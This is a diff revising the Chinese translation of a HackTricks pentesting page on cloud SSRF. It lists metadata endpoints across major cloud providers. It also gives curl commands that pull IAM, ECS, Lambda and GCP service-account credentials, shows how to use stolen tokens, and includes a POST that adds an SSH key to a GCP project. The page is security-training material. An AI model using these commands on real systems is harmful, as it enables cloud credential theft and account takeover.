Translated ['pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.

pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>
+<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
 
 支持HackTricks的其他方式：
 
 - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
 - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
+- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
 - **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
 
@@ -31,7 +31,7 @@
 有**2个版本**的元数据端点。**第一个**版本允许通过**GET**请求访问端点（因此任何**SSRF都可以利用它**）。对于**版本2**，[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)，您需要发送带有**HTTP头**的**PUT**请求来请求一个**令牌**，然后使用该令牌通过另一个HTTP头访问元数据（因此使用SSRF**更加复杂**）。
 
 {% hint style="danger" %}
-请注意，如果EC2实例正在强制执行IMDSv2，[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**PUT请求的响应**将具有**1个跳数限制**，这将使得无法从EC2实例内部的容器中访问EC2元数据。
+请注意，如果EC2实例正在强制执行IMDSv2，[**根据文档**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)，**PUT请求的响应**将具有**1个跳数限制**，这将使得无法从EC2实例内部的容器访问EC2元数据。
 
 此外，**IMDSv2**还将**阻止包含`X-Forwarded-For`头的请求以获取令牌**。这是为了防止配置错误的反向代理能够访问它。
 {% endhint %}
@@ -96,11 +96,11 @@ echo ""
 echo "EC2 Security Credentials"
 eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
 ```
-作为公开可用的IAM凭证暴露示例，您可以访问：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
+作为公开可用的IAM凭证暴露的示例，您可以访问：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
 
 您还可以在以下位置检查公开的EC2安全凭证：[http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
 
-然后，您可以使用AWS CLI使用这些凭证。这将允许您执行该角色具有权限执行的**任何操作**。
+然后，您可以使用这些凭证与AWS CLI。这将允许您执行该角色具有权限执行的任何操作。
 
 要利用新凭证，您需要创建一个新的AWS配置文件，如下所示：
 ```
@@ -109,16 +109,16 @@ aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
 aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
 aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
 ```
-注意**aws\_session\_token**，这对配置文件的工作至关重要。
+注意**aws\_session\_token**，这对配置文件的工作是必不可少的。
 
-[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用，以查找您的权限并尝试提升权限
+[**PACU**](https://github.com/RhinoSecurityLabs/pacu)可与发现的凭据一起使用，以查明您的权限并尝试提升权限
 
 ### AWS ECS（容器服务）凭据中的SSRF
 
-**ECS**是一组逻辑EC2实例，您可以在其中运行应用程序，而无需扩展自己的集群管理基础设施，因为ECS会为您管理。如果您成功地 compromise 了在**ECS**中运行的服务，则**元数据端点会更改**。
+**ECS**是一组逻辑EC2实例，您可以在其中运行应用程序，而无需扩展自己的集群管理基础设施，因为ECS会为您管理。如果您成功地妥协了在**ECS**中运行的服务，则**元数据端点会发生变化**。
 
 如果您访问_**http://169.254.170.2/v2/credentials/\<GUID>**_，您将找到ECS机器的凭据。但首先，您需要**找到\<GUID>**。要找到\<GUID>，您需要读取机器内的**environ**变量**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**。\
-您可以利用**Path Traversal**来读取`file:///proc/self/environ`\
+您可以利用**路径遍历**到`file:///proc/self/environ`来读取它。\
 上述的http地址应该提供给您**AccessKey、SecretKey和token**。
 ```bash
 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
@@ -137,10 +137,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
 - `AWS_SECRET_ACCESS_KEY`
 - `AWS_ACCES_KEY_ID`
 
-此外，除了IAM凭据，Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并且可能包含**敏感信息**（例如**stageVariables**中的信息）。与IAM凭据不同，此数据可通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
+此外，除了IAM凭据，Lambda函数还具有在启动函数时传递给函数的**事件数据**。此数据通过[运行时接口](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)提供给函数，并且可能包含**敏感信息**（例如**stageVariables**中的信息）。与IAM凭据不同，此数据可以通过标准SSRF在**`http://localhost:9001/2018-06-01/runtime/invocation/next`**上访问。
 
 {% hint style="warning" %}
-请注意，**lambda凭据**位于**环境变量**中。因此，如果lambda代码的**堆栈跟踪**打印环境变量，可能会通过在应用程序中**引发错误**来**外泄**它们。
+请注意，**Lambda凭据**位于**环境变量**中。因此，如果Lambda代码的**堆栈跟踪**打印环境变量，可能会通过在应用程序中**引发错误**来**泄露**它们。
 {% endhint %}
 
 ### 用于AWS Elastic Beanstalk的SSRF URL <a href="#id-6f97" id="id-6f97"></a>
@@ -156,7 +156,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
 ```
 ![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
 
-然后我们使用这些凭据执行 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
+然后我们使用这些凭据与 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`。
 
 ## GCP <a href="#id-6440" id="id-6440"></a>
 
@@ -164,7 +164,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
 
 ### Google Cloud 的 SSRF URL <a href="#id-6440" id="id-6440"></a>
 
-需要使用 HTTP 头部 **`Metadata-Flavor: Google`**，您可以通过以下 URL 访问元数据端点：
+需要 HTTP 标头 **`Metadata-Flavor: Google`**，您可以通过以下 URL 访问元数据端点：
 
 * http://169.254.169.254
 * http://metadata.google.internal
@@ -255,7 +255,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
 ```
 {% hint style="danger" %}
-为了**使用外泄的服务账户令牌**，你可以执行以下操作：
+为了**使用外泄的服务账户令牌**，您只需执行以下操作：
 ```bash
 # Via env vars
 export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
@@ -275,7 +275,7 @@ gcloud config unset auth/access_token_file
 ```
 http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
 ```
-检查令牌的范围（使用先前的输出或运行以下命令）
+检查令牌的范围（使用先前的输出或运行以下内容）
 ```bash
 curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
 "issued_to": "101302079XXXXX",
@@ -294,9 +294,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
 -H "Content-Type: application/json"
 --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
 ```
-## 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
+### 云函数 <a href="#id-9f1f" id="id-9f1f"></a>
 
-元数据端点的工作方式与虚拟机中的相同，但没有一些端点：
+元数据端点的工作方式与虚拟机中相同，但没有一些端点：
 ```bash
 # /project
 # Project name and number
@@ -324,10 +324,10 @@ done
 ## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
 
 {% hint style="warning" %}
-没有AWS角色或GCP服务账户之类的东西，所以不要期望找到元数据机器凭证
+没有像 AWS 角色或 GCP 服务账户那样的东西，所以不要期望找到元数据机器凭证
 {% endhint %}
 
-文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
+文档可在[`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)找到
 ```
 curl http://169.254.169.254/metadata/v1/id
 http://169.254.169.254/metadata/v1.json
@@ -341,7 +341,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
 ```
 <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
 
-找到最重要的漏洞，这样您就可以更快地修复它们。Intruder跟踪您的攻击面，运行主动威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
+找到最重要的漏洞，这样您就可以更快地修复它们。Intruder跟踪您的攻击面，运行积极的威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
 
 {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
 
@@ -479,7 +479,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
 ## IBM 云 <a href="#id-2af0" id="id-2af0"></a>
 
 {% hint style="warning" %}
-请注意，在 IBM 中，默认情况下未启用元数据，因此即使您在 IBM 云虚拟机内部，也可能无法访问元数据。
+请注意，在 IBM 中，默认情况下未启用元数据，因此即使您在 IBM 云虚拟机内部，也可能无法访问它。
 {% endhint %}
 
 {% code overflow="wrap" %}
@@ -506,58 +506,82 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
 # Get IAM credentials
 curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
 ```
+{% endcode %}
+
+各平台的元数据服务文档如下，突出了可以访问实例配置和运行时信息的方法。每个平台都提供独特的端点来访问其元数据服务。
+
 ## Packetcloud
 
-要访问Packetcloud的元数据，请查看文档：[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
+要访问Packetcloud的元数据，可以在以下位置找到文档：[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
 
 ## OpenStack/RackSpace
 
 没有提到需要头部信息。可以通过以下方式访问元数据：
 
-- `http://169.254.169.254/openstack`
+* `http://169.254.169.254/openstack`
 
 ## HP Helion
 
 这里也没有提到需要头部信息。可以在以下位置访问元数据：
 
-- `http://169.254.169.254/2009-04-04/meta-data/`
+* `http://169.254.169.254/2009-04-04/meta-data/`
 
 ## Oracle Cloud
 
 Oracle Cloud提供一系列端点来访问各种元数据方面：
 
-- `http://192.0.0.192/latest/`
+* `http://192.0.0.192/latest/`
-- `http://192.0.0.192/latest/user-data/`
+* `http://192.0.0.192/latest/user-data/`
-- `http://192.0.0.192/latest/meta-data/`
+* `http://192.0.0.192/latest/meta-data/`
-- `http://192.0.0.192/latest/attributes/`
+* `http://192.0.0.192/latest/attributes/`
 
 ## Alibaba
 
 阿里巴巴提供用于访问元数据的端点，包括实例和镜像ID：
 
-- `http://100.100.100.200/latest/meta-data/`
+* `http://100.100.100.200/latest/meta-data/`
-- `http://100.100.100.200/latest/meta-data/instance-id`
+* `http://100.100.100.200/latest/meta-data/instance-id`
-- `http://100.100.100.200/latest/meta-data/image-id`
+* `http://100.100.100.200/latest/meta-data/image-id`
 
 ## Kubernetes ETCD
 
-Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方式如下：
+Kubernetes ETCD可以保存API密钥、内部IP地址和端口。访问方法如下：
 
-- `curl -L http://127.0.0.1:2379/version`
+* `curl -L http://127.0.0.1:2379/version`
-- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
+* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
 
 ## Docker
 
-可以在本地访问Docker元数据，示例显示了如何检索容器和镜像信息：
+可以在本地访问Docker元数据，提供了有关容器和镜像信息检索的示例：
 
-- 通过Docker套接字访问容器和镜像元数据的简单示例：
+* 通过Docker套接字访问容器和镜像元数据的简单示例：
-- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
+* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
-- 在容器内，使用Docker套接字和curl：
+* 在容器内部，使用带有Docker套接字的curl：
-- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
+* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
-- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
+* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
 
 ## Rancher
 
 可以使用以下方式访问Rancher的元数据：
 
-- `curl http://rancher-metadata/<version>/<path>`
+* `curl http://rancher-metadata/<version>/<path>`
+
+<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
+
+找到最重要的漏洞，以便更快地修复它们。Intruder跟踪您的攻击面，运行主动威胁扫描，发现整个技术堆栈中的问题，从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
+
+{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
+
+<details>
+
+<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
+
+支持HackTricks的其他方式：
+
+* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
+* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家NFT的收藏品
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+
+</details>